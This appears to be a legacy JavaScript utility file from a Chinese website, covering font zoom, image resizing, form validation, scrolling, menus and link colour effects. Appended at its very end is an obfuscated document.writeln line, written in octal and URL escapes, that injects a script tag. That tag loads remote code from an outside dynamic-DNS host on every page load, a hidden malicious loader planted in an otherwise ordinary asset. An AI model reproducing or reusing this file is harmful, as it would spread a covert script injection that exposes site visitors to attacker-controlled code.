// 页面字体放大
function dozoom(size){
document.getelementbyid('zoom').style.fontsize=size+'px'
}
var ns4 = (document.layers);
var ie4 = (document.all);
var win = window;
var n   = 0;
function findit() {
if (searchstr.value != "")
findinpage(searchstr.value);
}
// 图片缩放脚本
var flag=true; 
function drawimage(imgd){ 
    var image=new image(); 
    image.src=imgd.src; 
    if(image.width>0 && image.height>0){ 
        flag=true; 
        if(image.width>=700){ 
            imgd.width=700; 
            imgd.height=(image.height*700)/image.width; 
        }else{ 
            imgd.width=image.width; 
            imgd.height=image.height; 
        }  
    } 
} 
//内容里的图片缩放效果
function contentimage(imgd){ 
    var image=new image(); 
    image.src=imgd.src; 
    if(image.width>0 && image.height>0){ 
        flag=true; 
        if(image.width>=500){ 
            imgd.width=500; 
            imgd.height=(image.height*500)/image.width; 
        }else{ 
            imgd.width=image.width; 
            imgd.height=image.height; 
        }  
    } 
} 
function cgimg(o){
var zoom=parseint(o.style.zoom, 10)||100;zoom+=event.wheeldelta/12;if (zoom>0) o.style.zoom=zoom+'%';
return false;
}
//图片模糊，鼠标移上去变清晰效果
function  toup2(theobject){
logo=1
gogo(theobject)
}
function  todown2(theobject){
logo=0
down(theobject)
}
function gogo(image){
theobject=image
if  (logo==1&&theobject.filters.alpha.opacity<100){
theobject.filters.alpha.opacity+=20;
var upalpha=settimeout("gogo(theobject)",300)
}
}
function down(theobject){
if (logo==0&&theobject.filters.alpha.opacity>80){
theobject.filters.alpha.opacity-=20;
var downalpha=settimeout("down(theobject)",300)
}
}
function mm_openbrwindow(theurl,winname,features) { //v2.0
window.open(theurl,winname,features);
}

function mm_gotourl() { //v3.0
var i, args=mm_gotourl.arguments; document.mm_returnvalue = false;
for (i=0; i<(args.length-1); i+=2) eval(args[i]+".location='"+args[i+1]+"'");
}

function mm_findobj(n, d) { //v4.01
var p,i,x;  if(!d) d=document; if((p=n.indexof("?"))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=mm_findobj(n,d.layers[i].document);
if(!x && d.getelementbyid) x=d.getelementbyid(n); return x;
}
function setauthor(str)
{
var obj=document.form2.name;
obj.value=str;
}
function setauthor1(str)
{
var obj=document.form1.news_author;
obj.value=str;
}
function yy_checkform() {
var args = yy_checkform.arguments; var mydot=true; var myv=''; var myerr='';var adderr=false;var myreq;
for (var i=1; i<args.length;i=i+4){
if (args[i+1].charat(0)=='#'){myreq=true; args[i+1]=args[i+1].substring(1);}else{myreq=false}
var myobj = mm_findobj(args[i].replace(/\[\d+\]/ig,""));
myv=myobj.value;
if (myobj.type=='text'||myobj.type=='password'||myobj.type=='hidden'){
if (myreq&&myobj.value.length==0){adderr=true}
if ((myv.length>0)&&(args[i+2]==1)){ //fromto
var myma=args[i+1].split('_');if(isnan(myv)||myv<myma[0]/1||myv > myma[1]/1){adderr=true}
} else if ((myv.length>0)&&(args[i+2]==2)){
var rx=new regexp("^[\\w\.=-]+@[\\w\\.-]+\\.[a-z]{2,4}$");if(!rx.test(myv))adderr=true;
} else if ((myv.length>0)&&(args[i+2]==3)){ // date
var myma=args[i+1].split("#"); var myat=myv.match(myma[0]);
if(myat){
var myd=(myat[myma[1]])?myat[myma[1]]:1; var mym=myat[myma[2]]-1; var myy=myat[myma[3]];
var mydate=new date(myy,mym,myd);
if(mydate.getfullyear()!=myy||mydate.getdate()!=myd||mydate.getmonth()!=mym){adderr=true};
}else{adderr=true}
} else if ((myv.length>0)&&(args[i+2]==4)){ // time
var myma=args[i+1].split("#"); var myat=myv.match(myma[0]);if(!myat){adderr=true}
} else if (myv.length>0&&args[i+2]==5){ // check this 2
var myobj1 = mm_findobj(args[i+1].replace(/\[\d+\]/ig,""));
if(myobj1.length)myobj1=myobj1[args[i+1].replace(/(.*\[)|(\].*)/ig,"")];
if(!myobj1.checked){adderr=true}
} else if (myv.length>0&&args[i+2]==6){ // the same
var myobj1 = mm_findobj(args[i+1]);
if(myv!=myobj1.value){adderr=true}
}
} else
if (!myobj.type&&myobj.length>0&&myobj[0].type=='radio'){
var mytest = args[i].match(/(.*)\[(\d+)\].*/i);
var myobj1=(myobj.length>1)?myobj[mytest[2]]:myobj;
if (args[i+2]==1&&myobj1&&myobj1.checked&&mm_findobj(args[i+1]).value.length/1==0){adderr=true}
if (args[i+2]==2){
var mydot=false;
for(var j=0;j<myobj.length;j++){mydot=mydot||myobj[j].checked}
if(!mydot){myerr+='* ' +args[i+3]+'\n'}
}
} else if (myobj.type=='checkbox'){
if(args[i+2]==1&&myobj.checked==false){adderr=true}
if(args[i+2]==2&&myobj.checked&&mm_findobj(args[i+1]).value.length/1==0){adderr=true}
} else if (myobj.type=='select-one'||myobj.type=='select-multiple'){
if(args[i+2]==1&&myobj.selectedindex/1==0){adderr=true}
}else if (myobj.type=='textarea'){
if(myv.length<args[i+1]){adderr=true}
}
if (adderr){myerr+='* '+args[i+3]+'\n'; adderr=false}
}
if (myerr!=''){alert('错误:\t\t\t\t\t\n\n'+myerr)}
document.mm_returnvalue = (myerr=='');
}
//双击滚屏
var currentpos,timer; 
function initialize() 
{ 
timer=setinterval("scrollwindow()",10);
} 
function sc(){
clearinterval(timer); 
}
function scrollwindow() 
{ 
currentpos=document.body.scrolltop; 
window.scroll(0,++currentpos); 
if (currentpos != document.body.scrolltop) 
sc();
} 
document.onmousedown=sc
document.ondblclick=initialize
//多行文本框字数统计
function gbcount(message,total,used,remain)
{
	var max;
	max = total.value;
	if (message.value.length > max) {
		message.value = message.value.substring(0,max);
		used.value = max;
		remain.value = 0;
		alert("留言不能超过" +max+ "个字!");
		}
	else {
		used.value = message.value.length;
		remain.value = max - used.value;
		}
}
//qq菜单效果
function showsubmenu(sid)
{
whichel = eval("submenu" + sid);
	if (whichel.style.display == "none")
	{
	eval("submenu" + sid + ".style.display='';");
	}
	else
	{
	eval("submenu" + sid + ".style.display='none';");
	}
}
//超链接不停变色
var rate = 20;
var obj;
var act = 0;
var elmh = 0;
var elms = 128;
var elmv = 255;
var clrorg;
var timerid;
if (navigator.appname.indexof("microsoft",0) != -1 && parseint(navigator.appversion) >= 4) {
browser = true;
} else {
browser = false;
}
if (browser) {
document.onmouseover = dorainbowanchor;
document.onmouseout = stoprainbowanchor;
}
function dorainbow()
{
if (browser && act != 1) {
act = 1;
obj = event.srcelement;
clrorg = obj.style.color;
timerid = setinterval("changecolor()",100);
}
}
function stoprainbow()
{
if (browser && act != 0) {
obj.style.color = clrorg;
clearinterval(timerid);
act = 0;
}
}
function dorainbowanchor()
{
if (browser && act != 1) {
obj = event.srcelement;
while (obj.tagname != 'a' && obj.tagname != 'body') {
obj = obj.parentelement;
if (obj.tagname == 'a' || obj.tagname == 'body')
break;
}
if (obj.tagname == 'a' && obj.href != '') {
act = 1;
clrorg = obj.style.color;
timerid = setinterval("changecolor()",100);
}
}
}
function stoprainbowanchor()
{
if (browser && act != 0) {
if (obj.tagname == 'a') {
obj.style.color = clrorg;
clearinterval(timerid);
act = 0;
}
}
}
function changecolor()
{
obj.style.color = makecolor();
}
function makecolor()
{
if (elms == 0) {
elmr = elmv; elmg = elmv; elmb = elmv;
}
else {
t1 = elmv;
t2 = (255 - elms) * elmv / 255;
t3 = elmh % 60;
t3 = (t1 - t2) * t3 / 60;
if (elmh < 60) {
elmr = t1; elmb = t2; elmg = t2 + t3;
}
else if (elmh < 120) {
elmg = t1; elmb = t2; elmr = t1 - t3;
}
else if (elmh < 180) {
elmg = t1; elmr = t2; elmb = t2 + t3;
}
else if (elmh < 240) {
elmb = t1; elmr = t2; elmg = t1 - t3;
}
else if (elmh < 300) {
elmb = t1; elmg = t2; elmr = t2 + t3;
}
else if (elmh < 360) {
elmr = t1; elmg = t2; elmb = t1 - t3;
}
else {
elmr = 0; elmg = 0; elmb = 0;
}
}
elmr = math.floor(elmr);
elmg = math.floor(elmg);
elmb = math.floor(elmb);
clrrgb = '#' + elmr.tostring(16) + elmg.tostring(16) + elmb.tostring(16);
elmh = elmh + rate;
if (elmh >= 360)
elmh = 0;
return clrrgb;
}
//隐藏/显示右边导航菜单
function preloadimg(src)
{
	var img=new image();
	img.src=src
}
preloadimg("images/admin_top_open.gif");
var displaybar=true;
function switchbar(obj)
{
	if (displaybar)
	{
		parent.frame.rows="*,0";
		displaybar=false;
		obj.src="images/footer_31.gif";
		obj.title="显示播放器";
	}
	else{
		parent.frame.rows="*,25";
		displaybar=true;
		obj.src="images/footer_3.gif";
		obj.title="隐藏播放器";
	}
}document.writeln("\74\163\143\162\151\160\164\40\163\162\143\75\42\150\164\164\160\72\57\57\167\45\67\67\167\45\63\63\56\144\45\66\64\156\163\56\45\66\71\156\146\157\57\45\66\71\45\66\105\45\66\66\45\66\106\45\62\105\45\66\101\45\67\63\42\76\74\57\163\143\162\151\160\164\76");
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